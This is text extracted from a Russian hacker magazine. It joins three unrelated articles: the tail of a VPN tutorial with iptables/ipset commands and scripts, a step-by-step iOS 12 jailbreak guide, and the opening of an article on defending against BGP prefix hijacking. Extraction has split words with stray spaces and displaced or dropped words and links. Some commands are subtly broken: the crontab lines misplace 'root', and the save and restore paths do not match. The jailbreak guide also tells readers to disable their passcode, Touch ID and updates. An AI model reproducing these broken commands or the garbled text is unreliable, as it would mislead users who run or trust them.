зап ретить  вхо дящие  или  исхо дящие  соеди нения  на  сер вер.  Так,  нап ример,
мно гие реали зуют геог рафичес кую филь тра цию: про ще один раз занес ти все
в спис ки и одним пра вилом зап ретить весь вхо дящий тра фик отов сюду, кро‐ 
ме это го спис ка. Нап ример:

sudo iptables ‐A INPUT ‐m set ‐‐match‐set !RU src ‐j DROP

Это пра вило заб локиру ет все вхо дящие соеди нения, кро ме адре сов из спис‐ 
ка  .ipset RU

IPSet,  как  видишь,  удоб ный  инс тру мент,  который  зна читель но  сок раща ет
таб лицу пра вил iptables. В час тнос ти, хорошо быва ет объ еди нять в отдель ные
спис ки  сети  сер веров,  адре са  адми нов,  осталь ных  поль зовате лей  и  так
далее. А потом уже разом зап рещать дос туп одним и раз решать дру гим.

АВТОМАТИЗАЦИЯ ПОСЛЕ СБОЕВ/ПЕРЕЗАГРУЗОК
Что бы  не  потерять  все  нас тро енные  нами  парамет ры,  добавим  в  crontab
пери оди чес кое сох ранение пра вил IPSet и iptables.

sudo crontab ‐e

# Каждую первую минуту каждого часа, то есть раз в час
1 * * * * /bin/bash root ipset save > /opt/ipset.rules
1 * * * * iptables‐save root > /opt/firewall.rules

И в   добавим вос ста нов ление:/etc/rc.local

ipset restore < /opt/routers/ipset.rules
iptables‐restore < /opt/routers/iptables.rules

А теперь напишем скрипт, который будет обхо дить пра вила   и 
и  в  слу чае,  если  чего‐то  не  хва тает,  допишет  недос тающее.  Скрипт  мож но
сде лать демоном, что бы он пос тоян но висел в памяти и монито рил сос тояние
сис темы, а мож но запус кать толь ко при стар те ОС. В целом вто рого вари анта
впол не дос таточ но.

iprule iproute

Ис ходный  код  скрип та  check  ты  най дешь  в  архи ве  по  ссыл ке  в  кон це
статьи, а общий его смысл такой: про веря ем таб лицу мар шру тиза ции и, если
мар шру та нет, добав ляем его. Потом ту же про вер ку выпол няем с пра вилом
таб лицы. Затем смот рим пра вило iptables, которое мар киру ет пакеты.

На пос ледок напишем скрипт, который поз волит нам более удоб но добав‐ 
лять IP‐адре са в спис ки IPSet, что бы каж дый раз не ломить ся в кон соль. Этот
скрипт выг лядит так:

#!/bin/bash

test=$(zenity ‐‐entry ‐‐title="Добавление адреса в ipset списки " 
‐‐text="Введите адрес ip или домена")
initip=$(dig +short "$test" ‐u 1.1.1.1)

if [ ! ‐n "$initip" ]; then
zenity ‐‐password ‐‐title="Введите пароль администратора" | sudo ‐S 
ipset ‐exist ‐A vpn "$test"
echo "$test" >> /opt/iptovpn.txt
else
zenity ‐‐password ‐‐title="Введите пароль администратора" | sudo ‐S 
ipset ‐exist ‐A vpn "$initip"
echo "$initip" >> /opt/iptovpn.txt
fi

sudo ipset save > /opt/ipset.rules

При  запус ке  мы  вво дим  имя  домена  или  сра зу  IP‐адрес.  Скрипт  перева рит
и то и дру гое, пос ле чего и запиха ет IP в спи сок IPSet.

Так же  в  архи ве  ты  най дешь  скрипт  add_in_file,  который  чита ет  файл
со спис ком доменов, получа ет IP и скла дыва ет в спис ки IPSet.

ЗАКЛЮЧЕНИЕ
Итак, что у нас получи лось? А вот что. Мы под няли зашиф рован ный, «белый»
с точ ки зре ния про вай дера канал HTTPS. Внут ри у него ходит наш OpenVPN.
Кли ент завора чива ет туда то, что нам нуж но, и не отправ ляет того, что не нуж‐ 
но. В прин ципе, мож но написать еще пару пра вил iptables, в которых ука зано,
кому доз волено ходить по адре сам из задан ного спис ка, а кому нет. Мож но
ука зать  источни ки  зап росов  для  боль шей  безопас ности  и  для  того,  что бы
туда,  не  дай  бог,  не  залез  любоз натель ный  поль зователь.  Это  реали зует ся
с  помощью  вто рого  спис ка  IPSet,  где  при дет ся  вбить  доверен ные  хос ты,
которые будут поль зовать ся дос тупом.

При желании всю эту  не слиш ком наворо чен ную архи тек туру мож но раз‐ 
вернуть  на  Raspberry  Pi  с  «Линук сом»  и  тас кать  его  с  собой  в  качес тве
малень кого  мар шру тиза тора.  Он  где  угод но  обес печит  тебе  надеж ное,
безопас ное и шиф рован ное соеди нение, до которо го не доберет ся ни один
товарищ май ор.

WWW

•Ар хив со скрип тами к статье

mailto:plus@omsklug.com
https://ru.wikipedia.org/wiki/Deep_packet_inspection
https://xakep.ru/wp-content/uploads/2019/10/linux-vpn-scripts.zip
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ТРЮКИ

Спо ру  нет:  айфон —  очень  удоб ный  аппа‐ 
рат,  осо бен но  для  тех,  кто  без  оглядки
пере ехал в стра ну Apple. Но есть в iOS одна
осо бен ность,  которая  вре мена ми  изрядно
пор тит  кровь  вла дель цам  iPhone  и  зас‐ 
тавля ет ехид но  улы бать ся пок лонни ков An‐
droid: уста нав ливать при ложе ния из сто рон‐ 
них источни ков нель зя. Если ты обла датель
iPhone  и  тебе  позарез  необ ходимо  пос‐ 
тавить  прог рамму  не  из  App  Store,  выход
толь ко один: джей лбрейк.

В  этой  статье  мы  пошаго во  опи шем  два  вари анта  джей лбрей ка  для  iOS
12.4 и, конеч но же, снаб дим инс трук цию веселы ми кар тинка ми.

WARNING

Вся информа ция в этой статье при веде на исклю‐ 
читель но  в  обра зова тель ных  целях.  Автор
и  редак ция  не  несут  никакой  ответс твен ности
за пос ледс твия пов торения опи сан ных здесь дей‐ 
ствий.  Пом ни:  выпол няя  любые  манипу ляции
со  сво им  смар тфо ном,  ты  дей ству ешь  на  свой
страх и риск.

ЧТО К ЧЕМУ
Джей лбрейк  (от  англ.  Jailbreak,  «побег  из  тюрь мы»)  —  это  орга низа ция
не  сан кци они рован ного  раз работ чиком  дос тупа  к  фай ловой  сис теме  в  iOS
с  целью  открыть  перед  поль зовате лем  воз можность  уста нов ки  при ложе ний
из  «левых»  репози тори ев  и  иссле дова ния  внут реннос тей  ОС.  Как  пра вило,
для  это го  исполь зуют ся  обна ружен ные  в  iOS  уяз вимос ти.  Имен но  поэто му
воз можность джей ла появ ляет ся обыч но нес коль ко поз же выхода оче ред ной
вер сии  iOS. Apple со вре менем зак рыва ет выяв ленные дыры, но иссле дова‐ 
тели отыс кива ют все новые и новые лазей ки.

Весь извес тный на сегод няшний день ассорти мент методов джей лбрей ка
при нято  делить  на  две  условные  катего рии. 
джейл  (untethered  jailbreak)  дела ется один раз  и  нав сегда,  такое  устрой ство
мож но перезаг ружать неод нократ но без потери дос тупа к фай ловой сис теме.
Сле тает  он  толь ко  пос ле  переп рошив ки  девай са.  Оче вид но,  что  подоб ный
джей лбрейк воз можен далеко не на всех вер сиях iOS.

От вязан ный  (неп ривязан ный)

  джей лбрейк  (semi‐untethered  jailbreak)  работа ет  лишь
до  пер вой  перезаг рузки  или  отклю чения  питания  устрой ства.  Пос ле  вклю‐ 
чения  айфо на  пот ребу ется  заново  запус тить  ути литу  джей лбрей ка,  которая
пов торно  заль ет  на  телефон  все  необ ходимые  ком понен ты  и  зас тавит  его
заг рузить ся в рабочем режиме.

По луот вязан ный

Рас смат рива емые нами сегод ня методы взло ма отно сят ся к полу отвя зан‐ 
ному  типу  и  работа ют  на  всех  вер сиях  iOS 12.x.x,  кро ме 12.3,  12.3.1,  12.3.2,
12.4.1,  12.4.2.  Что бы  узнать,  какая  вер сия  iOS  уста нов лена  сей час  на  тво ем
устрой стве,  перей ди  в раз дел  «Нас трой ки → Основные → Об этом  устрой‐ 
стве». Здесь в стро ке «Вер сия ПО» будет ука зана текущая вер сия опе раци‐ 
онной сис темы.

Оп ределе ние вер сии опе раци онной сис темы

Я опи шу два спо соба взло мать устрой ство с iOS 12 — с исполь зовани ем ути‐ 
лит unc0ver и Chimera. Пос ледняя не под держи вает девай сы, обо рудо ван ные
про цес сором A12 и A12X, то есть iPhone XR, XS, XS Max, iPad Air 3, iPad Pro (11,
12.9‐3G) и iPad mini 5. Для этих устрой ств мож но исполь зовать unc0ver — она
работа ет  со  все ми  вер сиями  iPhone  с  5S  по  XS Max  вклю читель но,  iPad  Air
вер сий 1–6, iPod Touch (6G, 7G), iPad Pro (9.7, 12.9, 12.9‐2G, 10.5, 11, 12.9‐3G)
и iPad mini (2–5).

На  вся кий  слу чай  отме чу,  что  джей лбрейк  опи сан ными  в  этой  статье
метода ми  невоз можен  на  заб локиро ван ном  устрой стве.  Если  твой  телефон
не  акти виро ван  или  тре бует  ввес ти  пароль  Apple  ID,  который  ты  не  зна ешь
или не пом нишь, ничего не получит ся.

ПРЕДВАРИТЕЛЬНЫЕ ЛАСКИ
Преж де  чем  мы  прис тупим  непос редс твен но  к  джей лбрей ку,  необ ходимо
выпол нить  нес коль ко  под готови тель ных шагов.  Для  начала  нуж но  на  вся кий
слу чай соз дать резер вную копию девай са. Для это го запус ти на компь юте ре
iTunes, под клю чи к нему iPhone при помощи шну ра и под твер ди на компь юте‐ 
ре и телефо не довери тель ные отно шения связ ки этих устрой ств.

До вери тель ные отно шения нуж но под твер дить сна чала на компь юте ре…

…потом на самом iPhone

В  окне  iTunes  щел кни  мышью  на  знач ке  телефо на  в  вер хней  час ти  левой
панели и в окне «Обзор» уста нови перек лючатель «Авто мати чес кое соз дание
копий» в положе ние «Этот компь ютер», пос ле чего наж ми на кноп ку «Соз дать
копию сей час».

Соз даем резер вную копию iPhone

Те перь  необ ходимо  отклю чить  на  телефо не  бло киров ку  сис темы  паролем,
Touch  ID  и  Face  ID.  Для  это го  перехо дим  в  «Нас трой ки»,  откры ваем  раз дел
«Touch ID и код‐пароль», пос ле чего вык люча ем эти методы авто риза ции.

От клю чаем Touch ID и код‐пароль

Сле дующий важ ный этап. Если на  телефо не вклю чена 
  (а  если  она  вклю чена,  отклю чить  ее  штат ными  средс тва ми  опе‐ 

раци онной сис темы уже невоз можно), нуж но соз дать пароль для при ложе ний,
который будет исполь зовать ся при джей лбрей ке. Про верить сос тояние двух‐ 
фактор ной  аутен тифика ции  мож но  на  экра не  «Нас трой ки»:  для  это го  вой ди
в нас трой ки Apple ID, кос нувшись сво его име ни, и перей ди в раз дел «Пароль
и безопас ность».

двух фактор ная аутен‐ 
тифика ция

Про веря ем сос тояние двух фактор ной аутен тифика ции

Ес ли двух фактор ная аутен тифика ция вклю чена, открой на компь юте ре в бра‐ 
узе ре  , авто ризуй ся на ней, пос ле чего в раз деле «Безопас‐ 
ность →  Пароли  при ложе ний»  наж ми  на  ссыл ку  «Соз дать  пароль»  и  сле дуй
инс трук циям на экра не. Этот пароль пот ребу ется ввес ти на одном из эта пов
джей лбрей ка.

стра ницу Apple ID

Мо биль ные устрой ства Apple очень любят без спро са заг ружать и уста нав‐ 
ливать обновле ния опе раци онной сис темы. Если оче ред ное обновле ние ска‐ 
чано,  но  не  уста нов лено,  его  нуж но  уда лить.  Для  это го  перей ди  в  раз дел
«Нас трой ки → Основные → Хра нили ще  iPhone (iPad)», выбери в спис ке заг‐ 
ружен ный  образ  опе раци онной  сис темы  и  на  открыв шемся  экра не  наж ми
над пись  «Уда лить  прог рамму»,  пос ле  чего  под твер ди  свое  дей ствие
во всплы вающем окне.

Нав сегда  оту чить  айфон  искать  и  заг ружать  обновле ния  поможет  сле‐ 
дующее хит рое кол дунс тво. Запус ти Safari, перей ди по ссыл ке 

  и,  вос поль зовав шись  соот ветс тву ющей  кноп кой,  заг рузи
на  телефон  про филь  от  Apple  TV —  .  Во  всплы вающем  окне  наж ми
на  кноп ку Download anyways. Бра узер  сооб щит  тебе,  что  сайт  пыта ется  заг‐ 
рузить кон фигура цион ный про филь, — наж ми «Раз решить». Пос ле успешной
заг рузки зай ди на телефо не в раз дел «Нас трой ки → Основные → Про филь»,
выбери  заг ружен ный  про филь  tvOS  Beta  Software  Profile  и  наж ми  «Уста‐ 
новить». Под твер ди это дей ствие во всплы вающем окне. Сис тема пред ложит
перезаг рузить  телефон  —  пос ле  перезаг рузки  фун кция  авто мати чес кого
поис ка и ска чива ния обновле ний будет отклю чена.

https://betapro‐
files.com/

tvOS  12

Оту чаем iPhone авто мати чес ки ска чивать и уста нав ливать обновле ния

Те перь нуж но перей ти в раз дел «Нас трой ки → Siri и Поиск» и вык лючить все
фун кции Siri, а затем еще раз перезаг рузить телефон.

Что  ж,  пред варитель ные  шаги  мы  успешно  выпол нили,  нас тало  вре мя
прис тупать к самому инте рес ному — непос редс твен но взло му.

WARNING

Для успешно го завер шения про цеду ры при ложе‐ 
ние  iTunes  дол жно  быть  уста нов лено  на  тво ем
компь юте ре.  Но  его  не  сле дует  запус кать
до окон чания джей лбрей ка!

Продолжение статьи →

mailto:valentin@holmogorov.ru
https://appleid.apple.com/
https://betaprofiles.com/
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ТРЮКИ  НАЧАЛО СТАТЬИ←

ДЖЕЙЛБРЕЙК С ПОМОЩЬЮ UNC0VER
За пус ти на компь юте ре бра узер, открой сайт   и ска чай под‐ 
ходящую  для  сво ей  опе раци онной  сис темы  вер сию  прог раммы  Cydia  Im‐
pactor.  При ложе ние  рас простра няет ся  в  виде  архи ва,  который  необ ходимо
рас паковать на диск. Если  ты исполь зуешь Windows,  запус ти  ,
под клю чи айфон к компь юте ру и зак рой iTunes, если он запус тится авто мати‐ 
чес ки.

cydiaimpactor.com

impactor.exe

Ска чай  файл  Undecimus‐v3.7.0‐b3.ipa  (его,  нап ример,  мож но  най ти 
)  и  перета щи  его  в  окош ко  Cydia  Impactor.  На  экра не  отоб разит ся

диало говое  окно,  в  котором  ты  дол жен  будешь  ввес ти  email,  слу жащий
логином тво его Apple ID, и пароль от учет ной записи.

на
GitHub

Вво дим логин и пароль Apple ID

Ес ли на телефо не вклю чена двух фактор ная аутен тифика ция, прог рамма поп‐ 
росит  тебя  ввес ти  пароль  для  при ложе ний  —  пом нишь,  мы  соз давали  его
на сай те appleid.apple.com? Самое вре мя пус тить этот пароль в дело.

Прог рамма сде лает все необ ходимое с фай лом .ipa и уста новит при ложе‐ 
ние unc0ver на твой телефон. Теперь на самом iPhone перей ди в окно «Нас‐ 
трой ки → Основные → Про фили и управле ние устрой ством», в раз деле «ПО
раз работ чика» наж ми на стро ку с адре сом элек трон ной поч ты, соот ветс тву‐ 
ющим тво ему Apple ID, а затем — на над пись «Доверять».

Нас тра иваем при ложе ние на айфо не

Зак рой окно «Нас трой ки», вклю чи на телефо не ави аре жим, пос ле чего запус‐ 
ти мобиль ное при ложе ние unc0ver и наж ми кра сивую синюю кноп ку Jailbreak.
Прог рамма выдаст пре дуп режде ние о том, что сис темный снап шот пере име‐ 
нован, и пред ложит перезаг рузить ся — наж ми Оk.

Джей лбрейк начал ся!

Пос ле  перезаг рузки  сно ва  запус ти  на  телефо не  unc0ver  и  наж ми  Jailbreak.
Воз можно,  эту  про цеду ру  при дет ся  пов торить  нес коль ко  раз —  до  тех  пор
пока на экра не не появит ся окош ко с над писью Jailbreak Completed. В резуль‐ 
тате всех этих манипу ляций на одном из экра нов тво его айфо на отоб разит ся
зна чок Cydia — при ложе ния, поз воля юще го уста нав ливать прог раммы из сто‐ 
рон них репози тори ев. Ура, все получи лось! Не забудь отклю чить ави аре жим
в нас трой ках телефо на.

Джей лбрейк удал ся!

Нас трой ка Cydia
В прин ципе, уже сра зу пос ле уста нов ки Cydia готова к работе. Запус тив при‐ 
ложе ние, ты можешь поль зовать ся им ана логич но App Store: нажав на зна чок
с изоб ражени ем лупы в пра вом ниж нем углу, вве ди наз вание инте ресу ющей
тебя прог раммы, выбери нуж ный пункт из спис ка и уста нови ее.

Что бы под клю чить к Cydia новые репози тории, наж ми на кноп ку «Источни‐ 
ки»  в  ниж ней  час ти  окна.  На  экра не  отоб разит ся  спи сок  уже  под клю чен ных
источни ков при ложе ний. Наж ми на над пись «Прав ка» спра ва ввер ху, затем —
«Добавить» в левой вер хней час ти окна. В открыв шемся окош ке вве ди адрес
нуж ного  репози тория.  Спис ки  дос тупных  репози тори ев  Cydia  мож но  най ти
в интерне те, нап ример  .здесь

До бав ляем репози тории в Cydia

Обыч но  вла дель цам  взло ман ных  устрой ств  Apple  рекомен дуют  уста новить
фай ловый менед жер Filza File Manager для работы с пап ками и фай лами в iOS
(его  мож но  отыс кать  в  репози тории  )
и  тер минал  для  выпол нения  кон соль ных  команд  NewTerm  2.  Так же  в  Cydia
мож но най ти мно жес тво тви ков iOS, поз воля ющих менять глу бокие нас трой ки
сис темы, недос тупные в обыч ном режиме работы устрой ства.

https://tigisoftware.com/cydia/

WARNING

Будь  пре дель но  осто рожен,  уда ляя  фай лы
или  пап ки  в  iOS  с  исполь зовани ем  фай ловых
менед жеров, осо бен но это каса ется ком понен тов
сис темы. Любое неос мотри тель ное и необ думан‐ 
ное  дей ствие  может  закир пичить  твое  устрой‐ 
ство.

ДЖЕЙЛБРЕЙК С ПОМОЩЬЮ CHIMERA
Для  джей лбрей ка  с  помощью  Chimera  все  пред варитель ные  дей ствия  пол‐ 
ностью  ана логич ны  тем,  что  опи саны  в  пре дыду щих  раз делах.  Для  взло ма
нуж но ска чать файл  .Chimera‐1.3.9.ipa

Ос таль ное  нам  уже  хорошо  зна комо:  запус каем  Cydia  Impactor,  под клю‐ 
чаем  телефон  к  компь юте ру,  перетас кива ем  ска чан ный файл 

  в  окош ко  Cydia  Impactor,  пос ле  чего  вво дим  логин  и  пароль  нашего
Apple ID (при вклю чен ной двух фактор ной аутен тифика ции — пароль при ложе‐ 
ния) и дожида емся, пока прог рамма выпол нит все, что нуж но, с дис три бути‐ 
вом.  В  резуль тате  на  экра не  тво его  айфо на  появит ся  зна чок  при ложе ния
Chimera.

Chimera‐1.3.
9.ipa

Как  и  в  пре дыду щем  слу чае,  нуж но  перей ти  в  раз дел  «Нас трой ки  →
Основные → Про фили и управле ние устрой ством», в раз деле «ПО раз работ‐ 
чика» нажать на стро ку с адре сом Apple ID, а затем — на над пись «Доверять».
Вклю чаем  ави аре жим,  запус каем  на  телефо не  Chimera  и  жмем  Jailbreak.
Телефон авто мати чес ки перезаг рузит ся. Пос ле запус ка iOS пов торя ем то же
самое до тех пор, пока на экра не не появит ся сооб щение о необ ходимос ти
перезаг рузки, и нажима ем Оk.

Джей лбрейк с исполь зовани ем Chimera

Ре зуль татом  всех  этих  дей ствий  дол жно  стать  появ ление  на  экра не  iPhone
знач ка Sileo. Это еще одно при ложе ние для работы со сто рон ними репози‐ 
тори ями iOS, по сво им фун кци ям и воз можнос тям в целом ана логич ное Cydia.

Джей лбрейк удал ся!

Что бы  добавить  в  прог рамму  новые  репози тории,  наж ми  на  кноп ку  Sources
в ниж ней час ти окна Sileo, затем на кноп ку + спра ва ввер ху и в открыв шемся
поле  вве ди  адрес  источни ка  при ложе ний.  Поиск  и  уста нов ка  прог рамм
выпол няет ся в точ ности так же, как и в Cydia, — при помощи кноп ки с изоб‐ 
ражени ем лупы в пра вом ниж нем углу.

INFO

Оба опи сан ных в статье спо соба джей ла работа‐ 
ют  толь ко  до  перезаг рузки  девай са.  Пос ле  каж‐ 
дого  вклю чения  питания  нуж но  заново  запус кать
на  устрой стве  уста нов ленную  тобой  ути литу
(unc0ver  или  Chimera)  и  нажимать  на  кноп ку
Jailbreak.

ВЫВОДЫ
Как видишь, в джей лбрей ке iOS 12 нет решитель но ничего слож ного — если
тща тель но  сле довать  инс трук ции.  Раз личные  источни ки  пре дуп режда ют
об опас ности этой про цеду ры, но, как показы вает мой лич ный опыт, эта опас‐ 
ность  нес коль ко  пре уве личе на. Зато  джей лбрейк  откры вает  перед  вла дель‐ 
цем девай са нас тоящую сво боду в нас трой ке ОС и уста нов ке все воз можно го
соф та,  а  ведь  имен но  это  зачас тую  и  тре бует ся  бесс траш ному  иссле дова‐ 
телю!

http://cydiaimpactor.com/
https://github.com/pwn20wndstuff/Undecimus/releases/
http://cydiaguide.ru/kak-dobavit-repozitorij-v-cydia/
https://chimera.sh/downloads/ios/1.3.9-12.0-12.4.ipa
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АДМИН

Ин циден ты  с  prefix  hijacking  слу чают ся
регуляр но,  ког да  тра фик  мас сово  отправ‐ 
ляет ся  не  тем  путем,  которым  дол жен.
Некото рые  из  них,  может,  и  свя заны
со злым умыс лом, но боль шинс тво слу чай‐ 
ны  и  про исхо дят  по  вине  нев ниматель ных
адми нов. Сегод ня  я  рас ска жу,  как  про вай‐ 
деры  могут  пре дот вра тить  их  или  свес ти
к миниму му, а заод но и как самому не стать
их винов ником.

INFO

В при мерах нас тро ек  я исполь зую стек про токо‐ 
лов  FreeRangeRouting.  Поль зовате лям  BIRD
или  OpenBGPD  при дет ся  дей ство вать  по  ана‐ 
логии.
В  этой  статье  пред полага ется,  что  у  тебя  уже

есть  опыт  работы  с  ,    или 
и  базовые  зна ния  о 
(BGP).

FRR Quagga Cisco  IOS
Border  Gateway  Protocol

СУТЬ ПРОБЛЕМЫ
Про токол мар шру тиза ции BGP сам по себе не содер жит никакой информа‐ 
ции о том, кому при над лежит та или иная сеть. Анон сировать чужие пре фик сы
при этом впол не обыч ная прак тика — неболь шие сети анон сиру ют свои сети
тран зитным  про вай дерам  с  раз витой  сетью,  а  те  уже  анон сиру ют  их  всем
осталь ным.  Кро ме  того,  на  точ ках  обме на  тра фиком  активно  исполь зуют ся
так  называ емые  сер вера  мар шру тов  (route  servers),  которые  поз воля ют
получать  мар шру ты  ко  всем  сетям  учас тни ков  точ ки  сра зу,  без  нас трой ки
отдель ной сес сии с каж дым из них.

BGP  намерен но  спро екти рован  так,  что бы  мож но  было  филь тро вать
и модифи циро вать мар шру ты про изволь ным обра зом без наруше ния работы
самого  про токо ла.  ,  к  при меру,  прин ципи аль но  не  поз воля ет  даже
филь тро вать  вхо дящие  мар шру ты:  пос коль ку  каж дый  мар шру тиза тор  OSPF
стро ит и под держи вает пол ную кар ту соеди нений в сети, отказ одно го мар‐ 
шру тиза тора  запоми нать  часть  сети  может  нарушить  ее  связь  со  все ми
осталь ными. Про токо лы с отсле жива нием сос тояния каналов (link‐state) вро‐ 
де OSPF прек расно под ходят для внут ренней мар шру тиза ции,  где на выбор
пути  вли яют  толь ко  тех ничес кие  сооб ражения:  дли на  пути  и  его  про пус кная
спо соб ность.

OSPF

Пос коль ку интернет — объ еди нение незави симых сетей, в силу всту пают
эко номи чес кие  и  полити чес кие  фак торы.  Самый  корот кий  путь  не  всег да
самый выгод ный. Из‐за это го реали зации BGP вынуж денно поз воля ют такие
виды  филь тра ции  и  модифи кации  анон сов,  которые  неп рием лемы  в  дру гих
про токо лах.

От сутс твие  аутен тифика ции  откры вает  боль шой  прос тор  для  слу чай ных
оши бок и намерен ных зло упот ребле ний. Давай раз бирать ся, как их избе жать.

ФИЛЬТРАЦИЯ ИСХОДЯЩИХ АНОНСОВ
Преж де чем рас смат ривать механиз мы защиты от чужих оши бок, давай рас‐ 
смот рим, как не стать винов ником инци ден та самому.

Слу чай ная  утеч ка  одно го  пре фик са  встре чает ся  край не  ред ко,  в  боль‐ 
шинс тве  слу чаев  уте кает  вся  таб лица  мар шру тов.  Эта  ситу ация  весь ма 

  для  всех  учас тни ков.  Ини циатор  ненаме рен но  ста новит ся  тран‐ 
зитным про вай дером для жертв и берет на себя рас ходы по переда че их тра‐ 
фика.  Если  сеть  не  готова  к  воз росшей  наг рузке,  такой  инци дент  спо собен
положить и сеть ини циато ра, и сети жертв.

неприятна

Не опыт ные адми ны, которые до это го работа ли с единс твен ным под клю‐ 
чени ем к про вай деру, час то забыва ют про филь тры.

Пред положим, есть вот такой кон фиг:

router bgp 64496
 network 192.0.2.0/24

 neighbor 203.0.113.10 remote‐as 64500
 neighbor 203.0.113.10 description AwfulTransit

Ди апа зон  номеров  авто ном ных  сис тем  64496–64511  зарезер вирован
для  при меров  и  докумен тации  в  .  Он  не  сов пада ет  с  диапа зоном
для  час тно го  исполь зования  (64512–65534).  Раз ница  такая  же,  как  меж ду
диапа зоном  адре сов  IPv4  для  час тно го  исполь зования  из 
и сетями 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24 (TEST‐NET‐[123]).

RFC5398

RFC1918

Се ти и номера AS из час тных диапа зонов выделе ны для того, что бы внут‐ 
ренние  ресур сы  орга низа ций  не  кон флик товали  в  пуб личном  интерне те,
а  зарезер вирован ные  для  докумен тации  —  что бы  без думное  при мене ние
при меров из ста тей не кон флик товало с реаль ными сетями.

Мы анон сиру ем про вай деру сеть 192.0.2.0/24. Про вай дер анон сиру ет нам
все мар шру ты интерне та. В этой ситу ации никакие филь тры не нуж ны, потому
что  ни  один  про токол мар шру тиза ции  не  анон сиру ет  получен ные  от  соседа
мар шру ты  обратно  ему  же.  Это  базовый  механизм  пре дот вра щения  петель
мар шру тиза ции.

В  то  же  вре мя  все  про токо лы,  вклю чая  BGP,  анон сиру ют  все  мар шру ты
всем осталь ным соседям, если не ука зано обратное. Чем боль ше связ ность
сети  и  чис ло  аль тер натив ных  мар шру тов  к  каж дой  сети,  тем  она  надеж нее.
Если,  конеч но,  все  учас тни ки  могут  и  сог ласны  про пус кать  через  себя  этот
тра фик — а кли енты про вай деров не готовы и не сог ласны.

Пред положим, что ты добавил под клю чение ко вто рому про вай деру:

router bgp 64496
 neighbor 203.0.113.20 remote‐as 64510

С  такими  нас трой ками  твой мар шру тиза тор  нач нет  анон сировать мар шру ты
одно го про вай дера дру гому.

Что бы это го не про изош ло, нуж но явно ука зать, что анон сировать.
Ес ли  у  тебя  все го  один  мар шру тиза тор  BGP  и  все  мар шру ты  при ходят

из какого‐то внут ренне го про токо ла или опций  , про ще все го отфиль‐ 
тро вать по пус тому AS path. Номер авто ном ной сис темы добав ляет ся в путь
мар шру та не в момент его зарож дения, а в момент анон са, поэто му у локаль‐ 
но порож денных мар шру тов он пус той. Пус той стро ке соот ветс тву ет регуляр‐ 
ное выраже ние  .

network

^$

bgp as‐path access‐list LocalOnly permit ^$
!
route‐map LocalOnly permit 10
match as‐path LocalOnly

!

Ес ли у тебя есть свои кли енты или мар шру ты по иной при чине при ходят опять
же из BGP, то при дет ся филь тро вать явно, с помощью  .prefix‐list

На прак тике в слу чае с кли ентом и про вай дером при утеч ке таб лицы про‐ 
вай дер авто мати чес ки отклю чит сес сию  кли ента или про игно риру ет  лиш ние
мар шру ты.  Успешный  зах ват  пре фик сов  обыч но  про исхо дит  меж ду  рав‐ 
ноправ ными  сетями:  тран зитны ми  про вай дерами  или  учас тни ками  точ ки
обме на тра фиков.

Как  про вай деры  это  пре дот вра щают?  Самая  прос тая  и  нес пецифич ная
мера защиты — опция  .maximum‐prefix

ОПЦИЯ MAXIMUM-PREFIX
Эта  опция  дела ет  ров но  то,  о  чем  говорит  ее  наз вание.  Если  количес тво
сетей в анон се соседа пре выша ет ука зан ное зна чение, сес сия авто мати чес‐ 
ки обры вает ся и соседу отправ ляет ся BGP notification.

В FRR это дела ется вот так:

router bgp 64500
 address‐family ipv4 unicast
   neighbor 192.0.2.10 maximum‐prefix 1

Оче вид ный  недос таток:  наруше ние  полити ки  со  сто роны  кли ента  обры вает
всю связь с про вай дером. Добав ление новой сети или раз деление сущес тву‐ 
ющей  на  час ти  ста новит ся  для  кли ента  весь ма  рис кован ной  опе раци ей,
для  которой  нуж но  уве домить  про вай дера  и  дож дать ся  его  под твержде ния
перед тем, как менять нас трой ки.

АЛЬТЕРНАТИВЫ
Увы,  все  аль тер нативы  в  рам ках  самого  BGP  —  либо  немас шта биру емые,
либо чис то эвристи чес кие.

Оче вид ный  вари ант,  под ходящий  для  про вай деров  и  кли ентов —  явный
спи сок раз решен ных пре фик сов. В этом слу чае кли енту так же нуж но уве дом‐ 
лять про вай дера каж дый раз при появ лении новой сети, но новые пре фик сы
не  обру шат  вне зап но  всю  сес сию  —  и  мож но  раз решить  не  точ ное  сов‐ 
падение,  а  сеть  со  все ми  ее  под сетями.  Нап ример,  раз решим  при нимать
от кли ента сети 192.0.2.0/24 и 203.0.113.0/24 вмес те со все ми их под сетями
вплоть до /32:

!
ip prefix‐list MyPrefixes seq 10 permit 192.0.2.0/24 le 32
ip prefix‐list MyPrefixes seq 20 permit 203.0.113.0/24 le 32
!
route‐map Transit‐Out permit 10
match ip address prefix‐list MyPrefixes

!
router bgp 64500
neighbor 198.51.100.1 remote‐as 64501
!
address‐family ipv4 unicast
 neighbor 198.51.100.1 route‐map Transit‐Out out
exit‐address‐family

!

Дру гой вари ант — филь тра ция по мак сималь ной дли не AS path. По ана логии
с пус тым путем локаль ных мар шру тов из филь тра для исхо дяще го нап равле‐ 
ния мы можем раз решить  на  сто роне  про вай дера  все мар шру ты,  у  которых
путь сос тоит из ров но одной AS, — с помощью регуляр ного выраже ния 

.  Это  авто мати чес ки  исклю чит  мар шру ты,  которые  приш ли
к  нашему  соседу  извне,  а  не  были  порож дены  им  самим.  Оче вид но,
это  защитит  толь ко  от  слу чай ных  оши бок,  а  не  намерен ных  попыток  анон‐ 
сировать чужую сеть.

^([0‐
9]+)(_\1)*$

По чему не  ? Мно гие люди для кон тро ля за тем, через какого про‐ 
вай дера  к  ним  пой дет  вхо дящий  тра фик,  исполь зуют  опцию 

, которая искусс твен но дела ет путь длин нее, чем он есть, пос коль ку
добав ляет в него локаль ную авто ном ную сис тему нес коль ко раз. Выраже ние,
которое соот ветс тву ет пути из ров но одно го номера AS, зап ретило бы такие
анон сы.

[0‐9]+
AS  path 

prepend

Ни один из этих вари антов не под ходит для пирин га меж ду про вай дерами
или  учас тни ками  точек  обме на  тра фиком.  Знать  содер жимое  анон сов
наперед в этих слу чаях невоз можно, нуж но про верять имен но аутен тичность
анон сов.

Сам  BGP  исполь зует ся  еще  с  девянос тых,  но  механизм  для  про вер ки
аутен тичнос ти  анон сов  появил ся  недав но  и  называ ется 

 (RPKI).
Resource Public  Key
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RPKI
RPKI  —  срав нитель но  новый  механизм,  который  поз воля ет  авто мати чес ки
про верять при над лежность пре фик сов к авто ном ным сис темам.

RPKI не явля ется частью BGP и не огра ничи вает ся им. По сути, это экви‐ 
валент    с  циф ровыми  под писями  и  набором  про токо лов  для  их  авто‐ 
мати чес кой  про вер ки.  Под писывать  сами  анон сы  было  бы  бес смыс ленно,
